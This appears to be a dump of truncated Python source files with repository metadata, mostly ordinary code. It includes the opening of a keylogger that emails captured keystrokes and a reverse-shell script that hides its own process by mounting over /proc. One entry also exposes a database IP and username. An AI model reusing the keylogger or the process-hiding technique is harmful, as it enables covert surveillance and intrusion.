max_stars_repo_path stringlengths 3 269 | max_stars_repo_name stringlengths 4 119 | max_stars_count int64 0 191k | id stringlengths 1 7 | content stringlengths 6 1.05M | score float64 0.23 5.13 | int_score int64 0 5 |
|---|---|---|---|---|---|---|
core/checkout_api_manager.py | nujkram/PayMaya-Python-SDK | 2 | 50000 | from typing import List
import requests
from core.api_manager import APIManager
from core.constants import (
PRODUCTION,
CHECKOUT_PRODUCTION_URL,
CHECKOUT_SANDBOX_URL,
CHECKOUTS_URL,
)
from models.checkout_data_models import CheckoutDataModel
class CheckoutAPIManager(APIManager):
base_url: str =... | 2.265625 | 2 |
python/tests/test_observation.py | lascavana/ecole | 0 | 50001 | <gh_stars>0
"""Test Ecole observation functions in Python.
Most observation functions are written in Ecole C++ library.
This is where the logic should be tested.
Here,
- Some tests automatically run the same assertions on all functions;
- Other tests that observation returned form observation functions are bound t... | 3.40625 | 3 |
mll/e2e_fixpoint.py | asappresearch/compositional-inductive-bias | 2 | 50002 | <filename>mll/e2e_fixpoint.py
"""
First train both sender and receiver supervised, then put them
end to end, and see what happens...
"""
import time
import random
import torch
from torch import nn, optim
import torch.nn.functional as F
import numpy as np
from ulfs.params import Params
from ulfs import rl_common, metr... | 2.3125 | 2 |
src/nti/zodb/schema.py | NextThought/nti.zodb | 0 | 50003 | <reponame>NextThought/nti.zodb
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Deprecated, do not use.
"""
from __future__ import print_function, absolute_import, division
__docformat__ = "restructuredtext en"
logger = __import__('logging').getLogger(__name__)
import zope.deferredimport
zope.deferredimport.initial... | 1.15625 | 1 |
graph_based_slam/launch/graphbasedslam.launch.py | edhml/lidarslam_ros2 | 130 | 50004 | import os
import launch
import launch_ros.actions
from ament_index_python.packages import get_package_share_directory
def generate_launch_description():
graphbasedslam_param_dir = launch.substitutions.LaunchConfiguration(
'graphbasedslam_param_dir',
default=os.path.join(
get_package_... | 2.296875 | 2 |
user/collection/manager/insert_one.py | dsvalenciah/ROAp | 4 | 50005 | <filename>user/collection/manager/insert_one.py<gh_stars>1-10
from manager.exceptions.user import UserSchemaError, UserDuplicateEmailError
from manager.schemas.user import User
def insert_one(db_client, user, language):
"""Insert user."""
# TODO: validate password and initial schema
# TODO: add rq for p... | 2.71875 | 3 |
module3-nosql-and-document-oriented-databases/mongodb_assignment.py | noreallyimfine/DS-Unit-3-Sprint-2-SQL-and-Databases | 0 | 50006 | <gh_stars>0
'''
This file is the assigment Unit 3 Sprint 2 Module 3
Wednesday, Sept. 11 2019
The objective is to move data from a sqlite db to a mongo db.
Information necessary for connecting to MongoDB
--------------------
IP: 172.16.31.10
Username: jayson
password: <PASSWORD>
--------------------
'''
import pymong... | 2.625 | 3 |
.venv/Lib/site-packages/networkx/algorithms/community/tests/test_modularity_max.py | VeikkaHimmi/Graph-based-Chess | 1 | 50007 | import pytest
import networkx as nx
from networkx.algorithms.community import (
greedy_modularity_communities,
modularity,
naive_greedy_modularity_communities,
)
@pytest.mark.parametrize(
"func", (greedy_modularity_communities, naive_greedy_modularity_communities)
)
def test_modularity_communities(fu... | 2.28125 | 2 |
tests/classes/linkto.py | zhichao-github/jsonclasses-cli | 0 | 50008 | <reponame>zhichao-github/jsonclasses-cli<filename>tests/classes/linkto.py
from __future__ import annotations
from datetime import datetime
from typing import Annotated
from jsonclasses import jsonclass, types, linkto,linkedby
from jsonclasses_server import api
@api
@jsonclass(class_graph='linkto')
class User:
id... | 2.015625 | 2 |
networking_tools/tcp_client.py | Terrencebosco/hacking_tools | 0 | 50009 | # tcp client can be used for services, send garbage data, fuzz...
import socket
tarket_host = "www.google.com"
target_port = 80
# create socket object
## af_inet is saying we're going to use the standard ipv4 or hostname
## af_stream sates that this will be a simple tcp client.
client = socket.socket(socket.AF_INET,... | 3.71875 | 4 |
cortstim/edp/utils/seegrecording.py | ncsl/virtual_cortical_stim_epilepsy | 1 | 50010 | import os
import re
import mne
import numpy as np
class SeegRecording():
def __init__(self, contacts, data, sampling_rate):
'''
contacts (list of tuples) is a list of all the contact labels and their
corresponding number
data (np.ndarr... | 2.703125 | 3 |
src/spaceone/inventory/model/resource_group_model.py | xellos00/inventory | 9 | 50011 | <filename>src/spaceone/inventory/model/resource_group_model.py
from mongoengine import *
from spaceone.core.model.mongo_model import MongoModel
class Resource(EmbeddedDocument):
resource_type = StringField()
filter = ListField(DictField())
keyword = StringField(default=None, null=True)
class ResourceGro... | 2.125 | 2 |
Test Code/speak_reg/pydub_test.py | joexu01/speak_auth | 0 | 50012 | # -*- coding: UTF-8 -*-
from pydub import AudioSegment
sound = AudioSegment.from_mp3('D:/360Downloads/caixi-from-net-common.mp3').set_frame_rate(11025)
sound.export('D:/360Downloads/from-net-common-3.wav', format='wav')
| 2.3125 | 2 |
src_gpu/models/test_vgg.py | rogov-dvp/medical-imaging-matching | 1 | 50013 | <gh_stars>1-10
import unittest
import tensorflow as tf
import numpy as np
from vgg import get_vgg_model
class TestVGG(unittest.TestCase):
def test_input_shape(self):
input_shape = 256
embedding_size = 2048
model = get_vgg_model(input_shape, embedding_size)
inp_shape = ... | 2.484375 | 2 |
ci/teamcity/comment_on_pr.py | alclol/modin | 0 | 50014 | <gh_stars>0
"""
Post the comment like the following to the PR:
```
:robot: TeamCity test results bot :robot:
<Logs from pytest>
```
"""
from github import Github
import os
import sys
# Check if this is a pull request or not based on the environment variable
try:
pr_id = int(os.environ["GITHUB_PR_NUMBER"].split("... | 2.703125 | 3 |
332/Reconstruct Itinerary.py | cccccccccccccc/Myleetcode | 0 | 50015 | <reponame>cccccccccccccc/Myleetcode<filename>332/Reconstruct Itinerary.py
from typing import List
from collections import defaultdict
class Solution:
def findItinerary(self, tickets: List[List[str]]) -> List[str]:
ticket = defaultdict(list)
for fr, to in tickets:
ticket[fr].append(to)
... | 3.40625 | 3 |
tema.py | guiyanzhong/pyta | 7 | 50016 | <filename>tema.py
"""
TEMA: Triple Exponential Moving Average.
"""
import pyximport; pyximport.install()
from datautils import gen_closes
import matplotlib.pyplot as plt
import pandas as pd
from pandas import Series
from ema import ema
def tema(arg, window):
"""TEMA: Triple Exponential Moving Average.
Param... | 3.09375 | 3 |
OMS/OMS.py | ntdd877/Market-Agent-Simulation | 0 | 50017 | <gh_stars>0
import os
# import pandas as pd
import sys
sys.path.append(os.path.pardir)
from LOB.LOB import LimitOrderBook
class action():
def __init__(self, input_action):
self.agent, self.type, self.direction, self.quantity, self.price = input_action
class strategy_record:
def __init__(sel... | 2.671875 | 3 |
extract_txt.py | psuresh21/real-time_weather_status | 0 | 50018 | <reponame>psuresh21/real-time_weather_status
import re
def ext_txt(on_time_weather,mains):
for m in mains:
if "span" in m:
xs = re.sub(r'span class|=|\[A-Z][A-Z][A-Z]\d\w>','',m)
x = xs.strip().split('>')[1]
on_time_weather.append(x)
else:
m = ''
| 3.140625 | 3 |
exploratory_analysis/author_scan.py | chuajiesheng/twitter-sentiment-analysis | 0 | 50019 | import os
from utils import Reader
import code
import sys
def extract_authors(tweets):
for t in tweets:
if t.is_post():
actor = t.actor()
print '"{}","{}","{}","{}",{},{}'.format(actor['id'],
actor['link'],
... | 2.828125 | 3 |
src/api/routes/test_health.py | serinth/python-flask-boilerplate | 0 | 50020 | import json
import unittest
from utils.factory import create_app
from utils.config import Config
class BaseTestCase(unittest.TestCase):
"""A base test case"""
def setUp(self):
app = create_app(Config())
app.app_context().push()
self.app = app.test_client()
def tearDown(self):
... | 2.875 | 3 |
flask/flask_python2.py | tpherndon/asyncwebbench | 0 | 50021 | <reponame>tpherndon/asyncwebbench<gh_stars>0
from flask import Flask
from flask import make_response
from flask import request
# pypy does not have ujson
try:
import ujson as json
except ImportError:
import json
app = Flask(__name__)
@app.route('/')
def json_echo():
data = {}
keys = ["key%s" % i for ... | 2.28125 | 2 |
net/wyun/blankanswer/worker.py | michaelyin/blankanswer-classifier | 0 | 50022 | #!/usr/bin/env python
from __future__ import division, unicode_literals
import argparse
import os
import time
import cv2
from net.wyun.blankanswer import image_utils
from net.wyun.blankanswer.loader import SimplePreprocessor
default_buckets = '[[240,100], [320,80], [400,80],[400,100], [480,80], [480,100], [560,80],... | 2.6875 | 3 |
test/test_base.py | artemyk/dynpy | 6 | 50023 | <gh_stars>1-10
from __future__ import division, print_function, absolute_import
import six
range = six.moves.range
import numpy as np
import scipy.sparse as ss
import dynpy
class ExampleSystem(dynpy.dynsys.DiscreteStateDynamicalSystem):
def states(self):
return [1,2]
def _iterate_1step_discrete(self, x):
retu... | 2.6875 | 3 |
pakkr/returns/_return.py | zendesk/pakkr | 14 | 50024 | from typing import Dict, Iterable, List, Optional, Tuple, Union
from ._meta import _Meta
from ._no_return import _NoReturn
from ._return_type import _ReturnType
class _Return(_ReturnType):
"""
Class that describes how to interpret the return value(s) of a Callable.
Positional arguments are treated as typ... | 2.9375 | 3 |
astroutils/__init__.py | nithyanandan/AstroUtils | 1 | 50025 | <filename>astroutils/__init__.py<gh_stars>1-10
import os as _os
__version__='2.0.1'
__description__='General Purpose Radio Astronomy and Data Analysis Utilities'
__author__='<NAME>'
__authoremail__='<EMAIL>'
__maintainer__='<NAME>'
__maintaineremail__='<EMAIL>'
__url__='http://github.com/nithyanandan/general'
with op... | 1.875 | 2 |
nanotube/__init__.py | Gawquon/Nano-Builder | 1 | 50026 | from nanotube.nanotube import SWCNT
from nanotube.nanotube import SWCNT_solvated
from nanotube.nanotube import CNT_forest | 0.992188 | 1 |
nocd/metrics/__init__.py | sckangz/overlapping-community-detection | 91 | 50027 | from .supervised import *
from .unsupervised import *
| 0.992188 | 1 |
PBO_ 18130/tugas_4.1.py | viraditty09/PBO | 0 | 50028 | <filename>PBO_ 18130/tugas_4.1.py
a = [1,2,3]
print(a)
a.append(5)
print(a)
list1=[1,2,3,4,5]
list2=['rambutan','langsa','salak','durian','apel']
list1.extend(list2)
c = [1,2,3]
print(c)
c.insert(0,12)
print(c)
### Perbedaan antara fungsi Append,extend,dan insert
# append berfungsi untuk menambahkan elemen ke da... | 3.96875 | 4 |
tests/nonrealtime/test_nonrealtime_Session_duration.py | butayama/supriya | 191 | 50029 | import supriya.nonrealtime
def test_01():
session = supriya.nonrealtime.Session()
assert session.offsets == [float("-inf"), 0.0]
assert session.duration == 0.0
def test_02():
session = supriya.nonrealtime.Session()
with session.at(0):
session.add_group()
assert session.offsets == [fl... | 2.203125 | 2 |
arcade/experimental/geo_culling_check.py | KommentatorForAll/arcade | 0 | 50030 | """
An experiment trying to bug out the geometry shader sprite culling.
If the culling algorithm is wrong sprites can disappear before they
leave the screen.
Simply run the program and move draw the sprites around using the mouse.
"""
from arcade.sprite import Sprite
import PIL
import arcade
class GeoCullingTest(ar... | 3.328125 | 3 |
hivemind/views.py | dysfunctionals/hivemind | 0 | 50031 | from hivemind import app
from flask import flash, redirect, render_template, request, url_for
from mcipc.query import Client as QClient
@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'GET':
with QClient("diseased.horse", 25565) as q:
stats = q.full_stats
... | 2.234375 | 2 |
HotPlutonium/RunAnalyse.py | DweebsUnited/CodeMonkey | 0 | 50032 | from sys import argv
from subprocess import call
if len( argv ) != 2:
print "Format: RunAnalyse.py {input.csv}"
fname = argv[ 1 ].split( '.' )
fname, fext = fname[ 0 ], fname[ 1 ]
fcsv = fname + ".csv"
fjson = fname + ".json"
ftri = fname + "Tri.json"
fobj = fname + ".obj"
if fext == ".csv":
print "Running ... | 2.671875 | 3 |
pyppeteer_stealth/navigator_languages.py | minhle2994/pyppeteer_stealth | 1 | 50033 | <reponame>minhle2994/pyppeteer_stealth<filename>pyppeteer_stealth/navigator_languages.py
from pyppeteer.page import Page
async def navigator_languages(page: Page) -> None:
await page.evaluateOnNewDocument(
"""
() => {
Object.defineProperty(navigator, 'languages', {
get: () => ['en-US', 'en']
... | 1.492188 | 1 |
python_code/vnev/Lib/site-packages/jdcloud_sdk/services/jdro/models/EventOut.py | Ureimu/weather-robot | 14 | 50034 | # coding=utf8
# Copyright 2018 JDCLOUD.COM
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed ... | 1.703125 | 2 |
basta/migrations/0005_auto_20200419_2006.py | lorenzosp93/basta_app | 1 | 50035 | # Generated by Django 3.0.5 on 2020-04-19 18:06
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
migrations.swappable_dependency(settings.AUTH_USER_MODEL),
('basta', '0004_session_sl... | 1.507813 | 2 |
app/bin/dltk/test/dltk_api.py | splunk/deep-learning-toolkit | 11 | 50036 | <reponame>splunk/deep-learning-toolkit<filename>app/bin/dltk/test/dltk_api.py
import json
import os
from . import splunk_api
import logging
import splunklib
import time
def call(method, path, data=None, return_entries=True):
path = "dltk/" + path
logging.info("calling DLTK API: %s %s" % (method, path))
sp... | 2.296875 | 2 |
src/opencmiss/neon/settings/mainsettings.py | hsorby/neon | 0 | 50037 | '''
Copyright 2015 University of Auckland
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agre... | 1.539063 | 2 |
db.py | justinhchae/jc_hw01_hci | 0 | 50038 | import os
from flask_mongoengine import MongoEngine
def init_database_connection(app):
app.config['MONGODB_SETTINGS'] = {
'db': os.environ.get('DATABASE_NAME'),
'host': 'mongodb+srv://' + os.environ.get('HOST') + '/' + os.environ.get('DATABASE_NAME') + '?retryWrites=true&w=majority',
'usern... | 2.09375 | 2 |
ssmbase.py | Chicone/SSM-VPR | 5 | 50039 | <reponame>Chicone/SSM-VPR<filename>ssmbase.py
# -*- coding: utf-8 -*-
# Form implementation generated from reading ui file 'ssm.ui'
#
# Created by: PyQt5 UI code generator 5.9.2
#
# WARNING! All changes made in this file will be lost!
from PyQt5 import QtCore, QtGui, QtWidgets
class Ui_MainWindow(object):
def se... | 1.546875 | 2 |
keylogger.py | Subucc/Tanit-Keylogger | 60 | 50040 | <reponame>Subucc/Tanit-Keylogger
#!/usr/bin/python
import pynput.keyboard
import smtplib
import threading
'''
Description: This tool is part of the Ethical Hacking toolset. This is for educational use ONLY for security purposes.
The keylogger takes the all key strikes on keyboard and send them to an email every... | 2.953125 | 3 |
listener/app_engine/receiving/mail_django.py | andymckay/arecibo | 6 | 50041 | <reponame>andymckay/arecibo
# # this is a specific handler for django
import re
from urlparse import urlunparse
from django.conf import settings
from app.utils import log, render_plain
from google.appengine.api import mail
from receiving.post import populate
from error.models import Error
mapping_404_key = {
"Re... | 2.21875 | 2 |
06/LaborSupplyModel.py | AskerNC/lectures-2021 | 9 | 50042 | <filename>06/LaborSupplyModel.py
import numpy as np
from scipy import optimize
def implied_tax(l,w,tau0,tau1,kappa):
""" calculate implied tax of labor supply choice
Args:
l (float): labor supply
w (float): wage
tau0 (float): standard labor tax
tau1 (float): top bracke... | 3.171875 | 3 |
main.py | angrycaptain19/BU-Patient-Connect-Shortcuts | 0 | 50043 | #!/usr/bin/env python
import selenium, time, os, platform
from selenium import webdriver
from selenium.webdriver.common.keys import Keys
from selenium.webdriver.common.by import By
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.support import expected_conditions as EC
from getpass impor... | 2.6875 | 3 |
RTI_3D.py | S8aVv/PADAR | 1 | 50044 | # -*- coding: utf-8 -*-
"""
Created on Wed Nov 16 15:31:16 2016
@author: shaw
"""
import xlrd
import matplotlib.pyplot as plt
from matplotlib.ticker import MultipleLocator, FormatStrFormatter
import numpy as np
from pylab import *
from itertools import product
from matplotlib.colors import LogNorm
#impo... | 1.828125 | 2 |
render_utils.py | IBM/photorealistic-blocksworld | 17 | 50045 | from __future__ import print_function
import sys, random, json, os, tempfile
from collections import Counter
import numpy as np
INSIDE_BLENDER = True
try:
import bpy
from mathutils import Vector
except ImportError as e:
INSIDE_BLENDER = False
if INSIDE_BLENDER:
try:
import utils
except ImportError as e:
... | 2.3125 | 2 |
tensorflow_toolkit/action_detection/tools/models/export.py | morkovka1337/openvino_training_extensions | 256 | 50046 | #!/usr/bin/env python2
#
# Copyright (C) 2019 Intel Corporation
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicabl... | 2.078125 | 2 |
management/commands/imageload.py | NikDark/ManagementCommands | 0 | 50047 | import os
import re
import shutil
from django.core.management.base import BaseCommand, CommandError
from wagtail.images.models import Image
class Command(BaseCommand):
help = 'Add Image from folder that you indicate'
IMAGE_FORMAT = (
'jpg',
'jpeg',
'webp',
'png',
'gif... | 2.359375 | 2 |
nauci_service/config/settings/environment.py | uilic/nauci-api | 0 | 50048 | from pathlib import Path
import environ
# ENVIROMENT
# ------------------------------------------------------------------------------
ROOT_DIR = Path(__file__).resolve(strict=True).parent.parent.parent.parent
# document_service/
BASE_DIR = ROOT_DIR / "nauci_service"
APPS_DIR = BASE_DIR / "apps"
env = environ.Env()... | 2.28125 | 2 |
.venv/lib/python3.8/site-packages/jeepney/fds.py | RivtLib/replit01 | 0 | 50049 | import array
import os
import socket
from warnings import warn
class NoFDError(RuntimeError):
"""Raised by :class:`FileDescriptor` methods if it was already closed/converted
"""
pass
class FileDescriptor:
"""A file descriptor received in a D-Bus message
This wrapper helps ensure that the file d... | 3 | 3 |
lib/models/external/modules/dcn_deform_conv.py | Zhen-Dong/CoDeNet | 15 | 50050 | <gh_stars>10-100
import math
import torch
import torch.nn as nn
from torch.nn.modules.utils import _pair
import sys
import os
dirname = os.path.dirname(__file__)
sys.path.insert(0, os.path.join(dirname,"../"))
from functions.dcn_deform_conv import deform_conv, modulated_deform_conv
class DeformConv(nn.Module):
d... | 2.1875 | 2 |
LeetCode/March Leetcoding Challenge/Average of Levels in Binary Tree.py | UtkarshPathrabe/Competitive-Coding | 13 | 50051 | # Definition for a binary tree node.
# class TreeNode:
# def __init__(self, val=0, left=None, right=None):
# self.val = val
# self.left = left
# self.right = right
class Solution:
def averageOfLevels(self, root: TreeNode) -> List[float]:
queue, levelsData, result = deque([(root, ... | 3.640625 | 4 |
rev/rev-verybabyrev/solve.py | NoXLaw/RaRCTF2021-Challenges-Public | 2 | 50052 | af = list(b"\x13\x13\x11\x17\x12\x1d\x48\x45\x45\x41\x0b\x26\x2c\x42\x5f\x09\x0b\x5f\x6c\x3d\x56\x56\x1b\x54\x5f\x41\x45\x29\x3c\x0b\x5c\x58\x00\x5f\x5d\x09\x54\x6c\x2a\x40\x06\x06\x6a\x27\x48\x42\x5f\x4b\x56\x42\x2d\x2c\x43\x5d\x5e\x6c\x2d\x41\x07\x47\x43\x5e\x31\x6b\x5a\x0a\x3b\x6e\x1c\x49\x54\x5e\x1a\x2b\x34\x05\x5e... | 3 | 3 |
djangocms_versioning/test_utils/polls/forms.py | NarenderRajuB/djangocms-versioning | 12 | 50053 | from django import forms
from .models import PollContent
class PollForm(forms.ModelForm):
model = PollContent
| 1.304688 | 1 |
generate-dns-records.py | Cray-HPE/nsupdate-record-generator | 0 | 50054 | <reponame>Cray-HPE/nsupdate-record-generator
# This script will read from SLS and external DNS all records on the CAN network and compute forward and reverse
# commands in the format that nsupdate expects. It will check to make sure that all addresses fit inside the main CAN
# subnet as well ensuring that only those re... | 2.546875 | 3 |
tests/authorization/tests.py | ninumedia/django-tastypie | 0 | 50055 | from django.test import TestCase
from tastypie.authorization import Authorization
class PerUserAuthorizationTestCase(TestCase):
def test_get(self):
pass
| 1.539063 | 2 |
open_imagilib/renderer.py | viktor-ferenczi/open-imagilib | 2 | 50056 | """ Renders the animation into a list of frames
"""
__all__ = ['OpenCvRenderer', 'FileRenderer']
from dataclasses import dataclass
import cv2
import imageio as iio
import numpy as np
from .animation import Frame, Animation
ESC = 27
@dataclass
class Options:
brightness: int = 100
cutoff: int = 0
@datacla... | 2.9375 | 3 |
Longest-Consecutive-Duplicate-String/solution.py | adriandarian/binary-search-io | 0 | 50057 | <filename>Longest-Consecutive-Duplicate-String/solution.py<gh_stars>0
import itertools
class Solution:
def solve(self, s):
if not s:
return 0
return max(len(list(v)) for _, v in itertools.groupby(s))
| 3.21875 | 3 |
label_vertical_pitch.py | larsmaurath/narya-label-creator | 5 | 50058 | <reponame>larsmaurath/narya-label-creator
import cv2
from PIL import Image
import os
import streamlit as st
from streamlit_drawable_canvas import st_canvas
import pandas as pd
import numpy as np
from helpers import Homography, PitchImage
from pitch import FootballPitch
import xml.etree.cElementTree as ET
from xml.dom ... | 2.09375 | 2 |
run.py | ThomasMullen/NPP | 0 | 50059 | <gh_stars>0
import os
import sys
import argparse
sys.path.append('./src/')
sys.path.append('./utils')
def main(args):
pass
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Define the parameters used for pre-processing pipeline')
parser.add_argument('-m', help="First argument numbe... | 2.46875 | 2 |
pak_helpers/helper/models.py | aliraza401/pak_helpers | 0 | 50060 | from django.db import models
from django.contrib.auth.models import User
from PIL import Image
from django import template
from django.contrib.auth.models import Group
class Helper(models.Model):
option = (
('Male', 'Male'),
('Female', 'Female')
)
user = models.OneToOneField(User, on_delet... | 2.21875 | 2 |
django/BankAccount/account/models.py | akrysmalski/BankAccount | 0 | 50061 | import re
from typing import Generator
from django.db import models, transaction, IntegrityError, InternalError
from django.db.models import Q
from django.contrib.auth import get_user_model
from django.core.exceptions import ValidationError
from django.utils.translation import gettext_lazy as _
from django.conf impor... | 2.265625 | 2 |
pyibisami/ami/parser.py | jdpatt/PyAMI | 0 | 50062 | <reponame>jdpatt/PyAMI
"""
IBIS-AMI parameter parsing and configuration utilities.
Original author: <NAME> <<EMAIL>>
Original date: December 17, 2016
Copyright (c) 2019 <NAME>; all rights reserved World wide.
"""
import logging
import re
from pathlib import Path
from parsec import ParseError, generate, many, many... | 2.265625 | 2 |
GCD.py | griledchicken/VAMPY-2017-CS | 0 | 50063 | <reponame>griledchicken/VAMPY-2017-CS<filename>GCD.py
import functools
@functools.lru_cache(maxsize=None)
def gcd(a, b):
if a < b:
a, b = b, a
def solver(a, b):
if b == 0:
return a
else:
return solver(b, a%b)
return solver(a, b)
| 2.46875 | 2 |
synthetic_dataset/fun_list.py | liuwenhai/realtime-robotic-grasping | 4 | 50064 | import os
import random
import numpy as np
import cv2
from lxml import etree
def mkdir(path):
if not os.path.exists(path):
os.makedirs(path)
def object_random(objects):
"""
random choice the object
:param objects: ['object1','object2',...]
:return: 'object3'
"""
return random.choi... | 2.65625 | 3 |
test_oracle.py | mukul-git/dbms | 1 | 50065 | <filename>test_oracle.py
#!/usr/bin/env python3
"""
Simple script to test Oracle python driver
@see
https://cx-oracle.readthedocs.io/en/latest/user_guide/installation.html#quick-start-cx-oracle-installation
https://blogs.oracle.com/oraclemagazine/perform-basic-crud-operations-using-cx-oracle-part-1
"""
from c... | 3.125 | 3 |
src/move_files.py | knjk04/file-utils | 0 | 50066 | import os
import platform
import sys
from os import listdir
from pathlib import Path
from src.create_dir import create_numbered_dirs, get_parent_dir
from src.validate_windows_file_name import is_valid_windows_file_name
def get_files_in(dir: str):
"""Returns a list of absolute paths to files sorted alphabetically... | 3.6875 | 4 |
src/programy/dialog/storage/redis.py | whackur/chatbot | 2 | 50067 | """
Copyright (c) 2016-2018 <NAME> http://www.keithsterling.com
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
documentation files (the "Software"), to deal in the Software without restriction, including without limitation
the rights to use, copy, modify, m... | 1.671875 | 2 |
microproxy/test/interceptor/test_msg_publisher.py | mike820324/microProxy | 20 | 50068 | <reponame>mike820324/microProxy<gh_stars>10-100
import json
import unittest
import mock
from microproxy.context import ViewerContext
from microproxy.interceptor.msg_publisher import MsgPublisher
from microproxy.version import VERSION
class TestMsgPublisher(unittest.TestCase):
def setUp(self):
self.zmq_so... | 2.4375 | 2 |
control/RobotMessages.py | oholsen/hagedag | 0 | 50069 | <filename>control/RobotMessages.py
from typing import Optional
import math
from abc import ABC
import RobotModel
def to_float(s: str) -> Optional[float]:
try:
return float(s)
except ValueError:
return None
def to_int(s: str) -> Optional[int]:
try:
return int(s)
except ValueEr... | 3.46875 | 3 |
mopidy_kitchen/search_index.py | ralfstx/mopidy-kitchen | 0 | 50070 | <filename>mopidy_kitchen/search_index.py
import logging
from typing import Set
logger = logging.getLogger(__name__)
class SearchIndex:
def __init__(self):
self._index = {}
self._sorted = []
self._dirty = False
def add(self, string: str, result: str):
for word in string.lower... | 3.203125 | 3 |
1607.py | Ananya2000-byte/SimplePythonCodes | 0 | 50071 | I = input("Enter the string: ")
S = I.upper()
freq = {}
for i in I:
if i != " ":
if i in freq:
freq[i] += 1
else:
freq[i] = 1
print(freq)
| 3.671875 | 4 |
wsgi.py | dankolbman/stoic-auth | 0 | 50072 | import os
from users import create_app
app = create_app(os.getenv('FLASK_CONFIG') or 'development')
if __name__ == "__main__":
app.run()
| 1.625 | 2 |
pypinksign/pypinkseed.py | bandoche/PyPinkSign | 77 | 50073 | # coding=utf-8
import logging
import struct
SS0 = [
0x2989a1a8, 0x05858184, 0x16c6d2d4, 0x13c3d3d0, 0x14445054, 0x1d0d111c, 0x2c8ca0ac, 0x25052124,
0x1d4d515c, 0x03434340, 0x18081018, 0x1e0e121c, 0x11415150, 0x3cccf0fc, 0x0acac2c8, 0x23436360,
0x28082028, 0x04444044, 0x20002020, 0x1d8d919c, 0x20c0e0e0, 0x2... | 1.382813 | 1 |
common/ppo_centralizedggiag.py | matthieu637/distributed-fair-rl | 7 | 50074 | <gh_stars>1-10
import tensorflow as tf
import numpy as np
class ValueNetwork():
def __init__(self, num_features, hidden_size, num_output, learning_rate=.01):
self.num_features = num_features
self.hidden_size = hidden_size
self.num_output = num_output
self.tf_graph = tf.Graph()
... | 2.6875 | 3 |
scripts/pep8_staged_files.py | larrycameron80/synapse | 0 | 50075 | #!/usr/bin/env python
#
# Requires autopep8 to be installed.
# Script for cleaning up most PEP8 related errors checked by the pre-commit hook.
#
import os
import subprocess
import sys
# don't fill in both of these
# good codes
select_codes = ["E111", "E101",
"E201", "E202", "E203", "E221", "E222", "E223... | 2.15625 | 2 |
src/speechless/utils/logging.py | Exepp/SpeechLess | 1 | 50076 | import logging
NULL_LOGGER = logging.getLogger('null')
NULL_LOGGER.handlers = [logging.NullHandler()]
NULL_LOGGER.propagate = False
| 1.617188 | 2 |
bot.py | mercdev-corp/repsoter | 2 | 50077 | import argparse
import os
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Start Telegram bot.')
parser.add_argument('-f', dest='foreground', action='store_true',
help='run process in foreground')
parser.add_argument('-s', dest='settings', action='store',
... | 2.296875 | 2 |
webapp/delete_okta_webhook.py | motionbug/JAWA | 1 | 50078 | #!/usr/bin/python
# encoding: utf-8
import os
import json
import time
from time import sleep
import requests
import re
from werkzeug import secure_filename
from flask import (Flask, request, render_template,
session, redirect, url_for, escape,
send_from_directory, Blueprint, abort)
delete_okta = Blueprint('okta_de... | 2.078125 | 2 |
accounts/views/system_user.py | shafikshaon/daybook | 0 | 50079 | from rest_framework import viewsets
from accounts.models import SystemUser
from accounts.serializers.system_user import SystemUserSerializer
class AccountViewSet(viewsets.ModelViewSet):
"""
A simple ViewSet for viewing and editing accounts.
"""
queryset = SystemUser.objects.all()
serializer_class... | 1.890625 | 2 |
astr-119-hw-2/useful_modules.py | cnojiri/astr-119 | 1 | 50080 | <filename>astr-119-hw-2/useful_modules.py
import test_module as tm
tm.hello_world() #imported module that we made, this is what numby does
| 1.632813 | 2 |
application/twitter/listener/listener.py | topix-hackademy/social-listener | 12 | 50081 | import tweepy
from application.twitter.listener.streaming import TwitterStreamingListener, TwitterUserStreamingListener
from application.twitter.interface import TwitterInterface
class TwitterListener(TwitterInterface):
def __init__(self, keywords, user, *args, **kwargs):
"""
Twitter Listener con... | 2.90625 | 3 |
Personal/python3/Simple_reverse_shell.py | LinTechSo/malware | 2 | 50082 | #!/bin/python3
import time,socket,subprocess,os,string
import random as r
# ranadom process name
ch = string.ascii_lowercase + string.digits
token = "".join(r.choice(ch) for i in range(6))
#pid and hidden process
pid = os.getpid()
os.system("mkdir /tmp/{1} && mount -o bind /tmp/{1} /proc/{0}".format(pid,token)... | 2.515625 | 3 |
Target.py | Shar-pei-bear/RobotAttention | 0 | 50083 | from object import *
import matplotlib
import matplotlib.pyplot as plt
class Cat(Object):
def update(self):
self.x = self.x + np.array([self.x[2], self.x[3], 100*np.random.randn(), 100*np.random.randn()])*self.step
self.t = self.t + self.step
self.check_wall()
self.check_obstacles(... | 3.3125 | 3 |
ambari-common/src/main/python/ambari_commons/buffered_queue.py | likenamehaojie/Apache-Ambari-ZH | 1,664 | 50084 | <reponame>likenamehaojie/Apache-Ambari-ZH<gh_stars>1000+
"""
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache Li... | 1.742188 | 2 |
bikeshare_data.py | brianmlink/bikeshare-mapper-dc | 0 | 50085 | <filename>bikeshare_data.py
import requests
import xml.etree.ElementTree as ET
import csv
bs_response = requests.get('https://www.capitalbikeshare.com/data/stations/bikeStations.xml')
bs_xml = bs_response.content
root = ET.fromstring(bs_xml)
with open('bs_stations.csv', 'wb') as csvfile:
linewriter = csv.writer... | 3.171875 | 3 |
portfolio/portfolio_plot.py | OxfordControl/osqp_codegen_benchmarks | 0 | 50086 | from __future__ import print_function
from __future__ import division
import pandas as pd
# Import scipy io to write/read mat file
import scipy.io as io
import os
# Plotting
import matplotlib.pylab as plt
plt.rc('axes', labelsize=20) # fontsize of the x and y labels
